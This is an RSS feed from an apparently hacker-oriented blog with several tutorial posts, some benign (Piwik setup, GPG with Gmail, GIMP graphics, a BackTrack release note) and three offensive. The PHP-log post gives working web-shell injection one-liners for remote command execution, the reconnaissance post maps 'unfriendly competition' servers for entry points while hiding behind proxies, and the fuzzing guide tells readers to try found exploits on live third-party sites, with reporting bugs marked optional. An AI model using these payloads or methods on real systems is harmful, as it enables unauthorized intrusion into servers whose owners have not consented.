<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>nukeitdotorg &#187; tutorial</title>
	<atom:link href="http://nukeit.org/tag/tutorial/feed/" rel="self" type="application/rss+xml" />
	<link>http://nukeit.org</link>
	<description>Digital Medication</description>
	<lastBuildDate>Wed, 08 Sep 2010 02:41:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1-alpha</generator>
		<item>
		<title>Piwik &#8211; Single install for multiple domains</title>
		<link>http://nukeit.org/piwik-single-install-for-multiple-domains/</link>
		<comments>http://nukeit.org/piwik-single-install-for-multiple-domains/#comments</comments>
		<pubDate>Sat, 27 Jun 2009 20:29:47 +0000</pubDate>
		<dc:creator>nukeit</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[add]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[automatic]]></category>
		<category><![CDATA[piwik]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://nukeit.org./?p=4095</guid>
		<description><![CDATA[<a href="http://nukeit.org/piwik-single-install-for-multiple-domains/" alt="Piwik - Single install for multiple domains"><img src="http://cdn.nukeit.org/wp-content/uploads/2009/06/piwik.jpg" align="left" alt="Piwik - Single install for multiple domains" hspace="5" vspace="5" border="0" /></a><a href="http://cdn.nukeit.org/wp-content/uploads/2009/06/piwik.jpg"></a>
There are a couple of benefits for running a single Piwik installation for multiple domains such as a single database, single install and easy tracking from a single control panel. We can also expect more accurate results because many people such as myself use NoScript and have it set up to automatically allow top level sites by default.
As more browsers start to wis... <a href="http://nukeit.org/piwik-single-install-for-multiple-domains/">Read more..</a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://cdn.nukeit.org/wp-content/uploads/2009/06/piwik.jpg"><img src="http://cdn.nukeit.org/wp-content/uploads/2009/06/piwik.jpg" alt="piwik" title="piwik" width="300" height="300" class="alignleft size-full wp-image-4100" /></a><br />
There are a couple of benefits for running a single Piwik installation for multiple domains such as a single database, single install and easy tracking from a single control panel. We can also expect more accurate results because many people such as myself use NoScript and have it set up to automatically allow top level sites by default.<br />
As more browsers start to wise up to XSS problems, we&#8217;ll all eventually have problems with external JS and by having our own analytics we stay a step ahead. The benefits of using your own tracking software rather than relying on the big G&#8217;s or others are obvious, but if you&#8217;d like to know more, be sure to check out Piwik&#8217;s site: http://piwik.org/<br />
&nbsp;<br />
&nbsp;</p>
<p>Now to the good stuff. It&#8217;s really an easy process, and this is just one of many ways you can do it:</p>
<p>Download and install Piwik to a folder outside your publicly accessible space.</p>
<p>Create symbolic links to each of your domains folders:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">cd</span> domain1<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> ..<span style="color: #000000; font-weight: bold;">/</span>piwik<span style="color: #000000; font-weight: bold;">/</span> track
<span style="color: #7a0874; font-weight: bold;">cd</span> ..<span style="color: #000000; font-weight: bold;">/</span>domain2<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> ..<span style="color: #000000; font-weight: bold;">/</span>piwik<span style="color: #000000; font-weight: bold;">/</span> track
<span style="color: #7a0874; font-weight: bold;">cd</span> ..<span style="color: #000000; font-weight: bold;">/</span>domain3<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> ..<span style="color: #000000; font-weight: bold;">/</span>piwik<span style="color: #000000; font-weight: bold;">/</span> track</pre></div></div>

<p>etc&#8230;</p>
<p>Add meta nofollow tags to the templates:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">meta</span> <span style="color: #000066;">NAME</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;ROBOTS&quot;</span> <span style="color: #000066;">CONTENT</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;NOINDEX, NOFOLLOW&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></pre></div></div>

<p><code>plugins/Login/templates<br />
plugins/CoreHome/templates</code></p>
<p>And add it to piwik/robots.txt if you want:</p>
<p><code>#Disallow everything<br />
User-agent: *<br />
Disallow: /<br />
Disallow: /*<br />
Disallow: */*<br />
Disallow: *.*<br />
Disallow: *<br />
Disallow: .</code></p>
<p>Next you can log in to your Piwik install from any of your domains like this:<br />
<code>http://domain1.com/track/</code></p>
<p>Then you can add your site and it will create tracking code for the domain your are logged in from.</p>
<p>You can manage and view your data for any domain from any other domain since its a single installation.</p>
]]></content:encoded>
			<wfw:commentRss>http://nukeit.org/piwik-single-install-for-multiple-domains/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Backtrack 4 Pre Final Release</title>
		<link>http://nukeit.org/backtrack-4-pre-final-release/</link>
		<comments>http://nukeit.org/backtrack-4-pre-final-release/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 17:44:41 +0000</pubDate>
		<dc:creator>nukeit</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Backtrack]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[ISO]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://nukeit.org./?p=4025</guid>
		<description><![CDATA[<a href="http://nukeit.org/backtrack-4-pre-final-release/" alt="Backtrack 4 Pre Final Release"><img src="http://cdn.nukeit.org/nuke34.jpg" align="left" alt="Backtrack 4 Pre Final Release" hspace="5" vspace="5" border="0" /></a>The team at offensive-security have been working their butts off on BT4 and the latest version is a testament to that. I'm making room for it on my Aspire One right now. In the mean time, I loaded it up on Vbox and dug around a little to show you some of the new features. Enjoy!
Backtrack 4 APT repo
http://archive.offensive-security.com/
Backtrack 4 Pre Final Screens
[gallery link="file" columns="7"]
Backtrack 4 Pre Final Firefox Info
User Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ub... <a href="http://nukeit.org/backtrack-4-pre-final-release/">Read more..</a>]]></description>
			<content:encoded><![CDATA[<p>The team at offensive-security have been working their butts off on BT4 and the latest version is a testament to that. I&#8217;m making room for it on my Aspire One right now. In the mean time, I loaded it up on Vbox and dug around a little to show you some of the new features. Enjoy!</p>
<h3>Backtrack 4 APT repo</h3>
<p><code>http://archive.offensive-security.com/</code></p>
<h3>Backtrack 4 Pre Final Screens</h3>

<h3>Backtrack 4 Pre Final Firefox Info</h3>
<p><span class='UserAgentHeader'>User Agent:</span> Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.11</p>
<p><span class='ExtensionHeader'>Enabled Extensions:</span> [2]
<ul>
<li>NoScript 1.9.3.3</li>
<li>Ubuntu Firefox Modifications 0.6</li>
</ul>
<p>
<span class='ExtensionDisabledHeader'>Disabled Extensions:</span> [5]
<ul>
<li>Firebug 1.3.3</li>
<li>FoxyProxy 2.9</li>
<li>Greasemonkey 0.8.20090123.1</li>
<li>HackBar 1.3.2</li>
<li>Tamper Data 10.1.0</li>
</ul>
<h3>Backtrack 4 Pre Final Tutorial/Guide PDF</h3>
<p><code>http://www.offensive-security.com/backtrack4-guide-tutorial.pdf</code></p>
<h3>Introduction to BackTrack 4 movie</h3>
<p><code>http://www.offensive-security.com/videos/backtrack-security-training-video/up-and-running-backtrack.html</code></p>
<h3>Backtrack 4 Pre Final Subforum</h3>
<p><code>http://forums.remote-exploit.org/backtrack-4-pre-final/</code></p>
<h3>Download Backtrack 4 Pre Final Release ISO (1329MB)</h3>
<p><code>http://www.remote-exploit.org/cgi-bin/fileget?version=bt4-prefinal-iso</code></p>
]]></content:encoded>
			<wfw:commentRss>http://nukeit.org/backtrack-4-pre-final-release/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Create a custom 125x125px Entrecard using GIMP</title>
		<link>http://nukeit.org/create-a-custom-125x125px-entrecard-using-gimp/</link>
		<comments>http://nukeit.org/create-a-custom-125x125px-entrecard-using-gimp/#comments</comments>
		<pubDate>Fri, 03 Apr 2009 20:34:59 +0000</pubDate>
		<dc:creator>nukeit</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[demo]]></category>
		<category><![CDATA[entrecard]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[graphics]]></category>
		<category><![CDATA[images]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[source]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://nukeit.org/?p=3885</guid>
		<description><![CDATA[<a href="http://nukeit.org/create-a-custom-125x125px-entrecard-using-gimp/" alt="Create a custom 125x125px Entrecard using GIMP"><img src="http://cdn.nukeit.org/nuke34.jpg" align="left" alt="Create a custom 125x125px Entrecard using GIMP" hspace="5" vspace="5" border="0" /></a>I see so many new Entrecard users that are using the basic 125x125px cards so I figured I would show you how to make your own custom one using GIMP (The GNU Image Manipulation Program). This tutorial will show you the steps you need to do in order to make your own 100% free and legal card using open source software and public domain images.

Once you've gotten the hang of these steps, you may wish to look at more advanced GIMP tutorials that will show you how to add special effects to your text and graphic.

<strong>Video demo:</strong>
[youtube]http://www.youtube.com/watch?v=Fwe8LKklPEM[/yout... <a href="http://nukeit.org/create-a-custom-125x125px-entrecard-using-gimp/">Read more..</a>]]></description>
			<content:encoded><![CDATA[<p>I see so many new Entrecard users that are using the basic 125x125px cards so I figured I would show you how to make your own custom one using GIMP (The GNU Image Manipulation Program). This tutorial will show you the steps you need to do in order to make your own 100% free and legal card using open source software and public domain images.</p>
<p>Once you&#8217;ve gotten the hang of these steps, you may wish to look at more advanced GIMP tutorials that will show you how to add special effects to your text and graphic.</p>
<p><strong>Video demo:</strong><br />
[youtube]http://www.youtube.com/watch?v=Fwe8LKklPEM[/youtube]</p>
<p><strong>Companion PDF:</strong></p>
<p>http://nukeit.org/pub/ec125gimp.pdf</p>
<p>If you like this tutorial, be sure to give it a stumble or digg so others can find it too <img src='http://cdn.nukeit.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://nukeit.org/create-a-custom-125x125px-entrecard-using-gimp/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Remote command execution in PHP logs</title>
		<link>http://nukeit.org/remote-command-execution-in-php-logs/</link>
		<comments>http://nukeit.org/remote-command-execution-in-php-logs/#comments</comments>
		<pubDate>Thu, 08 Jan 2009 18:29:20 +0000</pubDate>
		<dc:creator>nukeit</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[about]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[automatic]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[funny]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[log]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://nukeit.org/?p=2814</guid>
		<description><![CDATA[<a href="http://nukeit.org/remote-command-execution-in-php-logs/" alt="Remote command execution in PHP logs"><img src="http://cdn.nukeit.org/wp-content/uploads/2009/01/495558951_bcbf88e19c_b-300x200.jpg" align="left" alt="Remote command execution in PHP logs" hspace="5" vspace="5" border="0" /></a><p style="text-align: center;"></p>

Introduction.
You probably know requesting a carefully constructed URL can inject code into the log file, which you (or the admin) can run the next time that log is viewed. I've seen very popular and semi-commercial apps do this, and even leave the log file open for anyone to view wi... <a href="http://nukeit.org/remote-command-execution-in-php-logs/">Read more..</a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-medium wp-image-2815 aligncenter" title="http://www.flickr.com/photos/adrianclarkmbbs/" src="http://cdn.nukeit.org/wp-content/uploads/2009/01/495558951_bcbf88e19c_b-300x200.jpg" alt="http://www.flickr.com/photos/adrianclarkmbbs/" width="300" height="200" /></p>
<h1>Introduction.</h1>
<p>You probably know requesting a carefully constructed URL can inject code into the log file, which you (or the admin) can run the next time that log is viewed. I&#8217;ve seen very popular and semi-commercial apps do this, and even leave the log file open for anyone to view with minimal protection. The goal of this paper is to show you that a php error log is a more viable target than your typical apache log or other common methods of command injection.</p>
<p>Many, if not all, LFI/RCE tutorials out there fail to recognize the potential for injection with PHP&#8217;s own error log, which in many cases is more likely to be accessible to the public, or rather the user that Apache is running under. Custom log files will always be within users home folder or a similar area that is usually within open_basedir or safe_mode restrictions, whereas the typical Apache log file is not. Also, there are more than a few scripts that place PHP&#8217;s errors or their own inside a web accessible file (such as errors.php) which will give the exploiter a better opportunity to obtain access even faster.</p>
<h1>Techniques.</h1>
<p>More often than not, however, the log file is generated by php.ini or iniset. In these cases, the log file won&#8217;t execute like a PHP script does, and you will need an LFI vulnerability to exploit it. In such cases, you can refer to your typical LFI to RCE for more info, just think of it in terms of injecting PHP code into a PHP error log rather than Apache&#8217;s. The beauty here is that people will quite often try to bypass their host&#8217;s restrictions by creating their own php.ini with its own error logs pointing to a public directory for easy access. The real key here is filter evasion.</p>
<p>Most of the scripts that log errors have some sort of filter that is usually geared toward XSS prevention, which are fairly easy to bypass with the usual methods. There are some, however, that do nice things like converting special characters to HTML entities (&lt;&gt; to &amp;lt; &amp;gt; for example). If you open the log and see this, you might as well move along</p>
<p>If you find an LFI and an accessible PHP error log, you can exploit it all on one page since you&#8217;ll typically see an error for an invalid include.</p>
<h2>Examples.</h2>
<p>Here are a few useful one liners that you can use.</p>
<p>This will reset the file for you, giving you a blank slate to work with.<br />
<code>&lt;?fclose(fopen('errorlog.php','w'));?&gt;</code></p>
<p>This is a standard RCE passthru command:<br />
<code>&lt;?passthru($_GET[cmd])?&gt;</code></p>
<p>Which of course can be used like so:<br />
<code>http://url/errorlog.php?cmd=who</code></p>
<p>Notice how the spaces are missing, which is helpful when sending requests via telnet or the like. If you put in a space, you&#8217;ll end up with broken code since Apache is looking for the protocol like HTTP/1.0. You may find a server with mod_rewrite code to fix this, but it&#8217;s pretty rare. If you have problems with getting the page to log the command, you can always try some quoting and null chars like this:</p>
<p><code>index.php?page=%00'"&gt;&lt;?passthru($_GET[cmd])?&gt;</code></p>
<p>If you happen upon a server with shortags turned off, you can try this:<br />
<code>&lt;?php;phpinfo();?&gt;</code></p>
<h1>A note about security.</h1>
<p>Some CMS/Portals use or something similar at the top of their log file to avoid executing anything that gets logged afterward. It is funny, however, how none of the ones I&#8217;ve encountered will put it back after the log is manually (or automatically) reset <img src='http://cdn.nukeit.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Some of the most secure scripts out there are vulnerable to this attack. Happy hacking!</p>
]]></content:encoded>
			<wfw:commentRss>http://nukeit.org/remote-command-execution-in-php-logs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gmail, Gnu Privacy Guard (GPG), and Firefox &#8211; Windows and Linux HOWTO</title>
		<link>http://nukeit.org/gmail-gnu-privacy-guard-gpg-and-firefox-windows-and-linux-howto/</link>
		<comments>http://nukeit.org/gmail-gnu-privacy-guard-gpg-and-firefox-windows-and-linux-howto/#comments</comments>
		<pubDate>Fri, 28 Nov 2008 21:24:06 +0000</pubDate>
		<dc:creator>nukeit</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[firegpg]]></category>
		<category><![CDATA[gmail]]></category>
		<category><![CDATA[gnupg]]></category>
		<category><![CDATA[gpg]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://nukeit.org/?p=1035</guid>
		<description><![CDATA[<a href="http://nukeit.org/gmail-gnu-privacy-guard-gpg-and-firefox-windows-and-linux-howto/" alt="Gmail, Gnu Privacy Guard (GPG), and Firefox - Windows and Linux HOWTO"><img src="http://cdn.nukeit.org/wp-content/uploads/2008/11/2129552784_0357dc16af_o-300x181.jpg" align="left" alt="Gmail, Gnu Privacy Guard (GPG), and Firefox - Windows and Linux HOWTO" hspace="5" vspace="5" border="0" /></a><p style="text-align: center;"></p>

This tutorial will show you how to set up GPG for use with Firefox and Gmail on Win32 and Linux systems.

What you need:
Firefox
GPG
GPG allows to encrypt and sign your data and communication, features a versatile key management system as well as access modules for all kind of public key directories.
Win32: gnupg-w... <a href="http://nukeit.org/gmail-gnu-privacy-guard-gpg-and-firefox-windows-and-linux-howto/">Read more..</a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-medium wp-image-1036 aligncenter" title="http://www.flickr.com/photos/cyberslayer/" src="http://cdn.nukeit.org/wp-content/uploads/2008/11/2129552784_0357dc16af_o-300x181.jpg" alt="" width="300" height="181" /></p>
<p>This tutorial will show you how to set up GPG for use with Firefox and Gmail on Win32 and Linux systems.</p>
<p>What you need:<br />
Firefox<br />
GPG</p>
<blockquote><p>GPG allows to encrypt and sign your data and communication, features a versatile key management system as well as access modules for all kind of public key directories.</p></blockquote>
<p>Win32: gnupg-w32cli-1.4.9.exe is the latest at this time.<br />
Linux: gpg should be installed by default on most distros, if not, you&#8217;ll need to get the tar.gz and do the compile dance:<br />
<code>tar xvzf gnupg-?.?.?.tar.gz<br />
./configure<br />
make<br />
(sudo) make install</code></p>
<p>FireGPG</p>
<blockquote><p>FireGPG is able to detect PGP blocks in any page (for example a public key), and lets you easily manage these different blocks.</p></blockquote>
<p>A movie or some other large file.  It seemed to speed up generating my 4096-bit keys considerably.</p>
<p>Once you&#8217;ve installed the binary and Firefox plugin, you need to generate a new key.<br />
Win32:<br />
<code>Start &gt; Run &gt; cmd<br />
cd \<br />
cd "Program Files\GNU\GnuPG"<br />
gpg --gen-key</code></p>
<p>Linux:<br />
Open a terminal and type:<br />
<code>gpg --gen-key</code></p>
<p>Tips:<br />
Use a random password generator to generate a strong password.<br />
Answer the questions, defaults are ok. When it starts to generate a key, start watching your movie.</p>
<p>Now, open up Firefox and verify that FireGPG has automatically found your new key:<br />
<code>Tools &gt; FireGPG &gt; Key Manager</code><br />
You should see your new key in the list.</p>
<p>Now you can test it in Gmail by sending yourself a message with &#8220;Clear sign and send&#8221; option:</p>
<p><img class="alignnone size-medium wp-image-1037" title="firegpg-gmail-1" src="http://cdn.nukeit.org/wp-content/uploads/2008/11/firegpg-gmail-1-300x137.jpg" alt="" width="300" height="137" /></p>
<p><img class="alignnone size-medium wp-image-1038" title="firegpg-gmail-2" src="http://cdn.nukeit.org/wp-content/uploads/2008/11/firegpg-gmail-2-300x179.jpg" alt="" width="300" height="179" /></p>
<p>FireGPG has a bunch of other features that you&#8217;ll become familiar with as you browse the web from day to day. Gmail is really popular, so I figured this would be the best example of its usage. Leave a comment if you have found other unique tips that you want to share.</p>
]]></content:encoded>
			<wfw:commentRss>http://nukeit.org/gmail-gnu-privacy-guard-gpg-and-firefox-windows-and-linux-howto/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Web based target entry point acquisition</title>
		<link>http://nukeit.org/web-based-target-entry-point-acquisition/</link>
		<comments>http://nukeit.org/web-based-target-entry-point-acquisition/#comments</comments>
		<pubDate>Thu, 03 Jan 2008 00:01:54 +0000</pubDate>
		<dc:creator>fuzion</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://nukeit.org/?p=7</guid>
		<description><![CDATA[<a href="http://nukeit.org/web-based-target-entry-point-acquisition/" alt="Web based target entry point acquisition"><img src="http://cdn.nukeit.org/nuke34.jpg" align="left" alt="Web based target entry point acquisition" hspace="5" vspace="5" border="0" /></a>I want to share my methods for acquiring access to a specific target for â€œvulnerability testingâ€.
I won't go into what to do after you have your target, that will be up to you. I will be using some handy web based tools for this tutorial, making it easy for those still using Windows for whatever reason.

In this example we want to find a way into the servers that host our unfriendly competition.

First thing we should do is find out what services they have running.
I prefer YouGetSignal's Open Ports Tool, it's almost like an web based nmap quick scan:
http://www.yougetsi... <a href="http://nukeit.org/web-based-target-entry-point-acquisition/">Read more..</a>]]></description>
			<content:encoded><![CDATA[<p>I want to share my methods for acquiring access to a specific target for â€œvulnerability testingâ€.<br />
I won&#8217;t go into what to do after you have your target, that will be up to you. I will be using some handy web based tools for this tutorial, making it easy for those still using Windows for whatever reason.</p>
<p>In this example we want to find a way into the servers that host our unfriendly competition.<br />
<span id="more-7"></span><br />
First thing we should do is find out what services they have running.<br />
I prefer YouGetSignal&#8217;s Open Ports Tool, it&#8217;s almost like an web based nmap quick scan:</p>
<p>http://www.yougetsignal.com/openPortsTool/</p>
<p>Put your target&#8217;s IP into the box<br />
At the bottom right of the page, click Scan all common ports<br />
I haven&#8217;t checked to see what data they collect or send, so it would be wise to use this tool via a proxy.</p>
<p>Once you have the open ports (if any), write them down somewhere.</p>
<p>The next thing I like to do is check what other domains are hosted on that IP. This is especially useful if they are on a shared hosting plan. Just because the target has locked down his website doesn&#8217;t mean that everyone else on his box has too.</p>
<p>I prefer the web based lookup tool at MyIPNeighbors.<br />
This site does not proxy anything, so use your own.</p>
<p>http://www.myipneighbors.com/</p>
<p>Even if the target is on a dedicated or VPS, you will likely see other domains or subdomains they have registered.</p>
<p>Once you have checked other domains for entry points (i hope you found one:)) we can move on to my next favorite web based tool.</p>
<p>http://serversniff.net/ is a free â€œswiss army knifeâ€ site with tons of nice features.</p>
<p>I will focus on its subdomain search, as it has proven very handy for finding â€œsecretâ€ subdomains such as admin.foo.com and other stuff you won&#8217;t find on google&#8230;<br />
This is likely a dictionary based search, so don&#8217;t expect to find ai4038502.foo.com or whatever.</p>
<p>Once you have found some (hopefully vulnerable) subdomains, you may notice that some of them have different IP addresses from the original. Go search for those on myipneighbors and look for more possible entry points. Repeat this process until you have mapped out pretty much everything web related for your target.</p>
<p>Here are a few other web based tools that offer similar free services that can be helpful:<br />
http://news.netcraft.com/ ye olde faithful. Can tell you what a site is running, known subdomains, similar TLD&#8217;s and other handy info.</p>
<p>http://centralops.net/co/DomainDossier.aspx another nice web tool, has service scan, whois records, etc.<br />
http://centralops.net/co/ btw has a bunch of other tools, none really unique though.</p>
<p>I hope this tutorial has shown you something about the power these web based tools can add to your arsenal.</p>
]]></content:encoded>
			<wfw:commentRss>http://nukeit.org/web-based-target-entry-point-acquisition/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Short guide to &quot;fuzzing&quot; web applications.</title>
		<link>http://nukeit.org/short-guide-to-fuzzing-web-applications/</link>
		<comments>http://nukeit.org/short-guide-to-fuzzing-web-applications/#comments</comments>
		<pubDate>Tue, 01 Jan 2008 17:24:47 +0000</pubDate>
		<dc:creator>fuzion</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://nukeit.org/?p=5</guid>
		<description><![CDATA[<a href="http://nukeit.org/short-guide-to-fuzzing-web-applications/" alt="Short guide to &quot;fuzzing&quot; web applications."><img src="http://cdn.nukeit.org/nuke34.jpg" align="left" alt="Short guide to &quot;fuzzing&quot; web applications." hspace="5" vspace="5" border="0" /></a>ï»¿    Here is my (very) short newbs guide to finding 0day exploits in web applications. I will explain in great detail my method of discovering vulnerabilities in new CMS, forums, and etc.
First off, this guide assumes you have a LAMP box on your local network for testing. If you are running Windows, I would suggest using a WAMP stack such as XAMPP or SpikeWAMP.

Now you need to find some new apps to scan. Go to sourceforge.net and search for some:

	Advanced search
	Under Project Categories, expand Internet, WWW/HTTP, then check Dynamic Content.
	Set Start Date a... <a href="http://nukeit.org/short-guide-to-fuzzing-web-applications/">Read more..</a>]]></description>
			<content:encoded><![CDATA[<p>ï»¿    Here is my (very) short newbs guide to finding 0day exploits in web applications. I will explain in great detail my method of discovering vulnerabilities in new CMS, forums, and etc.<br />
First off, this guide assumes you have a LAMP box on your local network for testing. If you are running Windows, I would suggest using a WAMP stack such as XAMPP or SpikeWAMP.</p>
<p>Now you need to find some new apps to scan. Go to sourceforge.net and search for some:</p>
<ol>
<li>Advanced search</li>
<li>Under Project Categories, expand Internet, WWW/HTTP, then check Dynamic Content.</li>
<li>Set Start Date and End Date to today. or the previous day (sometimes I even find stuff for tomorrow!)</li>
<li>Set Exclude Projects without files.</li>
<li> Hit search.</li>
<li> Typically, I sort by downloads. Now grab a bunch of new apps.</li>
<li>Make sure you are getting LAMP/WAMP apps and not WAR/JAR files. I will cover tomcat scanning another day.</li>
<li>Install them to your LAMP (or WAMP) box and make sure you have the mysql db&#8217;s users, configs, file/folder permissions, etc all correctly configured.</li>
<li>*Optional* You may want to browse around through your new sites to find some unique identifiers to use as dorks for google.</li>
</ol>
<p>Once you have several sites running, its time to start scanning. If you are a windows user, I can&#8217;t really give you a recommendation for which tools to use. I have never been satisfied with the results of the mainstream commercial vulnerability scanners such as Acunetix, or pretty much anything on http://sectools.org/web-scanners.html&#8230; although nikto does serve its purpose.<br />
<span id="more-5"></span><br />
Here are two scanning tools that I will cover. PSA3 has a GUI and both produce HTML results for easy double checking.</p>
<p>http://packetstormsecurity.org/filedesc/PSA3.zip.html</p>
<p>http://developer.spikesource.com/projects/phpsecaudit/</p>
<p>There are about a million tools out there, I use these two with good results. PSA is good for a quick scan, but it&#8217;s generally more adept at finding XSS than anything else. Spike&#8217;s tool seems to find nearly everything wrong with the code, but typically finds a lot of false positives because of if/die &#8220;security&#8221; declarations in admin/include scripts.</p>
<p>Other options include Firefox addons, which are a good option because firefox is universal.</p>
<p>You can find 2 plugins for scanning XSS and SQL here:</p>
<p>http://www.securitycompass.com/exploitme.shtml</p>
<p>There is also Technika (they have not released the full framework yet)</p>
<p>http://www.gnucitizen.org/projects/technika/</p>
<p>Steps for PSA:</p>
<ol>
<li> Firstly ensure that Register_Globals is On in php.ini</li>
<li> Copy psa to your htdocs root.</li>
<li> perl psa.pl</li>
<li> Test run.</li>
<li> If everything is good, click create shell then scan.</li>
</ol>
<p>Once it is finished (be patient), it will display the results in the window.<br />
You can open results.html in your htdocs folder to get clickable links to the exploits<br />
Check each one to make sure that its not a false positive.<br />
*Recommended* Google for a live site running the same software (or an older version) and test it.<br />
*Optional* Send the bug to the devs <img src='http://cdn.nukeit.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Steps for phpsecaudit:</p>
<ol>
<li> Firstly this requires php 5, so if you&#8217;re using xampp make sure you have php 5 turned on (default)</li>
<li> Copy it somewhere</li>
<li> Open your terminal</li>
<li> php run.php &#8211;src /path/to/htdocs</li>
<li> Open output/index.html in your browser</li>
</ol>
<p>Here you will see the errors that it found, you will have to check them by hand. (which i will hopefully go into detail about later)<br />
This tool is very detailed and will probably show a metric fuckton of false positives, which a leading expert in this field recently described as extremely gay.<br />
The main thing I look for with this tool is RFI, which is relatively easy to test.</p>
<p>Steps for XSS Me and SQL Me firefox plugins:</p>
<ol>
<li> Browse to a page with a form.</li>
<li> Tools XSS Me or SQL Me &gt; Open toolbar</li>
<li> Run All tests</li>
</ol>
<p>On a cautionary note, XSS Me uses vbscript on the All tests. Linux doesn&#8217;t know wtf to do with that by default which causes firefox to fuck up&#8230; so don&#8217;t run full scan unless you are using windows.</p>
<p>Another good thing about these plugins is that its a real browser test, so there are going to be a lot fewer false positives (if any).</p>
<p>If you are up to it, here is a pretty big list of webfuzzers/scanners:</p>
<p>http://www.owasp.org/index.php/Phoenix/Tools</p>
<p>I&#8217;ll get around to testing them one day.</p>
<p>I hope this has been helpful to the newbs out there. Feel free to leave comments. 1337 D00dZ nonsense will be deleted <img src='http://cdn.nukeit.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://nukeit.org/short-guide-to-fuzzing-web-applications/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
